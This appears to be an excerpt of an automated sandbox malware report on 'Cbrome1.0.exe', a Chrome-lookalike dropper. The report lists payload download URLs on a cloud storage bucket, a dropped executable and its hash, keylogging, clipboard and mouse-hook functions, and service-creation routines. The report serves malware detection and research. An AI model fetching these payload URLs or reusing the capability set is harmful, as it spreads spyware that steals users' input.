Source: Cbrome1.0.exe, 00000000.00000003.2385718931.0000023A27B3B000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990180001.0000023A27B3B000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3989734243.0000023A27AD4000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2985683981.0000023A27AD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/
Source: Cbrome1.0.exe, 00000000.00000002.3990079134.0000023A27B0A000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2386547563.0000023A29360000.00000004.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2298105902.0000023A27B26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe
Source: Cbrome1.0.exe, 00000000.00000003.2386547563.0000023A29360000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b
Source: Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2386547563.0000023A29360000.00000004.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3991012612.0000023A2AA15000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2385691522.0000023A2AA13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll
Source: Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll:
Source: Cbrome1.0.exe, 00000000.00000003.2385718931.0000023A27B3B000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990180001.0000023A27B3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllG
Source: Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllmW6432=C:
Source: Cbrome1.0.exe, 00000000.00000002.3990079134.0000023A27B0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll
Source: arphaDump64.dll.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.virtualbox.org/

Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715

Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.6:49719 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: [esc]	0_2_0000023A29E1DEB0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: [esc]	5_2_00000210AE4CDEB0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: [esc]	6_2_00000205EA79DEB0

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E14210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,

0_2_0000023A29E14210

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E14210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	0_2_0000023A29E14210
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4C4210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	5_2_00000210AE4C4210
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA794210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	6_2_00000205EA794210

Source: C:\Users\user\Desktop\Cbrome1.0.exe

0_2_0000023A29E14210

Source: Cbrome1.0.exe

Binary or memory string: DirectInput8Create

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Jump to behavior

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E14380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	0_2_0000023A29E14380
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A27B096B1 socket,getaddrinfo,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	0_2_0000023A27B096B1
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295D0020 NtAllocateVirtualMemory,LdrLoadDll,	0_2_0000023A295D0020
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295D0091 NtAllocateVirtualMemory,LdrLoadDll,	0_2_0000023A295D0091
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4C4380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	5_2_00000210AE4C4380
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AC6E0C79 WSAStartup,socket,getaddrinfo,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,WSACleanup,	5_2_00000210AC6E0C79
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1D0020 NtAllocateVirtualMemory,LdrLoadDll,	5_2_00000210AE1D0020
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1D0091 NtAllocateVirtualMemory,LdrLoadDll,	5_2_00000210AE1D0091
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA794380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	6_2_00000205EA794380
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205E8680C79 WSAStartup,socket,getaddrinfo,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,WSACleanup,	6_2_00000205E8680C79
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4A0020 NtAllocateVirtualMemory,LdrLoadDll,	6_2_00000205EA4A0020
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4A0091 NtAllocateVirtualMemory,LdrLoadDll,	6_2_00000205EA4A0091

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E1F8D0 rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,

0_2_0000023A29E1F8D0

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E1F360 GetCurrentProcessId,GetCurrentThreadId,VirtualProtect,VirtualProtect,CreateProcessWithLogonW,VirtualProtect,VirtualProtect,CloseHandle,

0_2_0000023A29E1F360

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E1E6F6 ExitWindowsEx,	0_2_0000023A29E1E6F6
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4CE6F6 ExitWindowsEx,	5_2_00000210AE4CE6F6
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA79E6F6 ExitWindowsEx,	6_2_00000205EA79E6F6

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E1FCF0	0_2_0000023A29E1FCF0
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E114C0	0_2_0000023A29E114C0
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E274B8	0_2_0000023A29E274B8
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E11E80	0_2_0000023A29E11E80
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E14530	0_2_0000023A29E14530
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E20180	0_2_0000023A29E20180
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E35CC0	0_2_0000023A29E35CC0
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E224A0	0_2_0000023A29E224A0
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E284A8	0_2_0000023A29E284A8
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E26CAC	0_2_0000023A29E26CAC
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E12380	0_2_0000023A29E12380
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E2664C	0_2_0000023A29E2664C
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E36520	0_2_0000023A29E36520
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E1F8D0	0_2_0000023A29E1F8D0
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E28808	0_2_0000023A29E28808
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E23FA4	0_2_0000023A29E23FA4
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E27F24	0_2_0000023A29E27F24
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E32ADC	0_2_0000023A29E32ADC
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E1DA90	0_2_0000023A29E1DA90
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E26A70	0_2_0000023A29E26A70
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E2A244	0_2_0000023A29E2A244
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E351A4	0_2_0000023A29E351A4
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E33974	0_2_0000023A29E33974
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E27938	0_2_0000023A29E27938
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E23904	0_2_0000023A29E23904
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E9BFC	0_2_0000023A295E9BFC
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295DD42B	0_2_0000023A295DD42B
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295DFB38	0_2_0000023A295DFB38
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E1E58	0_2_0000023A295E1E58
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E6E70	0_2_0000023A295E6E70
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E7E60	0_2_0000023A295E7E60
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295D3EE8	0_2_0000023A295D3EE8
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295D1D38	0_2_0000023A295D1D38
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E6004	0_2_0000023A295E6004
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295D1838	0_2_0000023A295D1838
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E78DC	0_2_0000023A295E78DC
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E32BC	0_2_0000023A295E32BC
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E72F0	0_2_0000023A295E72F0
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E81C0	0_2_0000023A295E81C0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4C1E80	5_2_00000210AE4C1E80
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4C14C0	5_2_00000210AE4C14C0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4C4530	5_2_00000210AE4C4530
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D664C	5_2_00000210AE4D664C
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D7F24	5_2_00000210AE4D7F24
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D8808	5_2_00000210AE4D8808
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D3FA4	5_2_00000210AE4D3FA4
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4CFCF0	5_2_00000210AE4CFCF0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D6CAC	5_2_00000210AE4D6CAC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D84A8	5_2_00000210AE4D84A8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D24A0	5_2_00000210AE4D24A0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D74B8	5_2_00000210AE4D74B8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4E5CC0	5_2_00000210AE4E5CC0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4E6520	5_2_00000210AE4E6520
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D6A70	5_2_00000210AE4D6A70
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4DA244	5_2_00000210AE4DA244
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4E2ADC	5_2_00000210AE4E2ADC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4CDA90	5_2_00000210AE4CDA90
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4C2380	5_2_00000210AE4C2380
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4CF8D0	5_2_00000210AE4CF8D0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D3904	5_2_00000210AE4D3904
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4E3974	5_2_00000210AE4E3974
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D0180	5_2_00000210AE4D0180
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D7938	5_2_00000210AE4D7938
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4E51A4	5_2_00000210AE4E51A4
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D44FE0	5_2_00007FF647D44FE0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D5C100	5_2_00007FF647D5C100
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D48910	5_2_00007FF647D48910
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D5600C	5_2_00007FF647D5600C
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D53FA0	5_2_00007FF647D53FA0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D41FB0	5_2_00007FF647D41FB0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D58F78	5_2_00007FF647D58F78
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D5DF54	5_2_00007FF647D5DF54
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D4AE50	5_2_00007FF647D4AE50
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D5C52C	5_2_00007FF647D5C52C
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D53CD4	5_2_00007FF647D53CD4
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D57C60	5_2_00007FF647D57C60
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D4EB34	5_2_00007FF647D4EB34
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D492B0	5_2_00007FF647D492B0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D4C1C0	5_2_00007FF647D4C1C0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D60148	5_2_00007FF647D60148
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FFD944763F8	5_2_00007FFD944763F8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FFD94473FE0	5_2_00007FFD94473FE0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E7E60	5_2_00000210AE1E7E60
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E1E58	5_2_00000210AE1E1E58
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E6E70	5_2_00000210AE1E6E70
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1D3EE8	5_2_00000210AE1D3EE8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E6004	5_2_00000210AE1E6004
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1DD42B	5_2_00000210AE1DD42B
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1D1D38	5_2_00000210AE1D1D38
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E32BC	5_2_00000210AE1E32BC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E72F0	5_2_00000210AE1E72F0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1DFB38	5_2_00000210AE1DFB38
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E9BFC	5_2_00000210AE1E9BFC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1D1838	5_2_00000210AE1D1838
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E78DC	5_2_00000210AE1E78DC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E81C0	5_2_00000210AE1E81C0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7914C0	6_2_00000205EA7914C0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA794530	6_2_00000205EA794530
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA791E80	6_2_00000205EA791E80
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA792380	6_2_00000205EA792380
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7B5CC0	6_2_00000205EA7B5CC0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A74B8	6_2_00000205EA7A74B8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A84A8	6_2_00000205EA7A84A8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A6CAC	6_2_00000205EA7A6CAC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A24A0	6_2_00000205EA7A24A0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7B6520	6_2_00000205EA7B6520
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA79FCF0	6_2_00000205EA79FCF0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7B51A4	6_2_00000205EA7B51A4
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A0180	6_2_00000205EA7A0180
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7B3974	6_2_00000205EA7B3974
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7AA244	6_2_00000205EA7AA244
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7B2ADC	6_2_00000205EA7B2ADC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA79DA90	6_2_00000205EA79DA90
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A6A70	6_2_00000205EA7A6A70
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A3FA4	6_2_00000205EA7A3FA4
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A8808	6_2_00000205EA7A8808
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA79F8D0	6_2_00000205EA79F8D0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A7938	6_2_00000205EA7A7938
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A3904	6_2_00000205EA7A3904
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A664C	6_2_00000205EA7A664C
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A7F24	6_2_00000205EA7A7F24
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4AD42B	6_2_00000205EA4AD42B
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B9BFC	6_2_00000205EA4B9BFC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4A1D38	6_2_00000205EA4A1D38
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B81C0	6_2_00000205EA4B81C0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B32BC	6_2_00000205EA4B32BC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4AFB38	6_2_00000205EA4AFB38
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B72F0	6_2_00000205EA4B72F0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4A1838	6_2_00000205EA4A1838
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B6004	6_2_00000205EA4B6004
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B78DC	6_2_00000205EA4B78DC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B7E60	6_2_00000205EA4B7E60
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B1E58	6_2_00000205EA4B1E58
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B6E70	6_2_00000205EA4B6E70
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4A3EE8	6_2_00000205EA4A3EE8

Source: Joe Sandbox View

Dropped File: C:\ProgramData\buunn\arphaCrashReport64.exe E743E8FAC075A379161E1736388451E0AF0FDE7DA595EA9D15EEB5140E3E8271

Source: Cbrome1.0.exe

Static PE information: Number of sections : 11 > 10

Source: Cbrome1.0.exe	Binary or memory string: OriginalFilename vs Cbrome1.0.exe
Source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNemuDTrace.exeH vs Cbrome1.0.exe
Source: Cbrome1.0.exe, 00000000.00000002.3992139857.00007FF77BF62000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMFCApplication1.exe8 vs Cbrome1.0.exe
Source: Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNemuDTrace.exeH vs Cbrome1.0.exe

Source: classification engine

Classification label: mal52.troj.spyw.evad.winEXE@3/2@5/3

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	0_2_0000023A29E1F8D0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	5_2_00000210AE4CF8D0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	6_2_00000205EA79F8D0

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E13560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_0000023A29E13560

Source: C:\ProgramData\buunn\arphaCrashReport64.exe

Code function: 5_2_00007FF647D42CB0 CoCreateInstance,

5_2_00007FF647D42CB0

Source: C:\ProgramData\buunn\arphaCrashReport64.exe

Code function: 5_2_00007FF647D44000 LoadLibraryExW,LoadLibraryExW,FindResourceW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,

5_2_00007FF647D44000

Source: C:\Users\user\Desktop\Cbrome1.0.exe

0_2_0000023A29E1F8D0

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Cbrome1.0.exe	String found in binary or memory: If you use save/load state for MDI tabs, you must override this method in a derived class!
Source: Cbrome1.0.exe	String found in binary or memory: If you use save/load state for MDI tabs, you should override this method in a derived class!
Source: Cbrome1.0.exe	String found in binary or memory: Reporting file I/O exception on Save/Load with lOsError = $%lX.

Source: unknown	Process created: C:\Users\user\Desktop\Cbrome1.0.exe "C:\Users\user\Desktop\Cbrome1.0.exe"
Source: unknown	Process created: C:\ProgramData\buunn\arphaCrashReport64.exe "C:\ProgramData\buunn\arphaCrashReport64.exe"
Source: unknown	Process created: C:\ProgramData\buunn\arphaCrashReport64.exe "C:\ProgramData\buunn\arphaCrashReport64.exe"

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: apphelp.dll	Jump to behavior
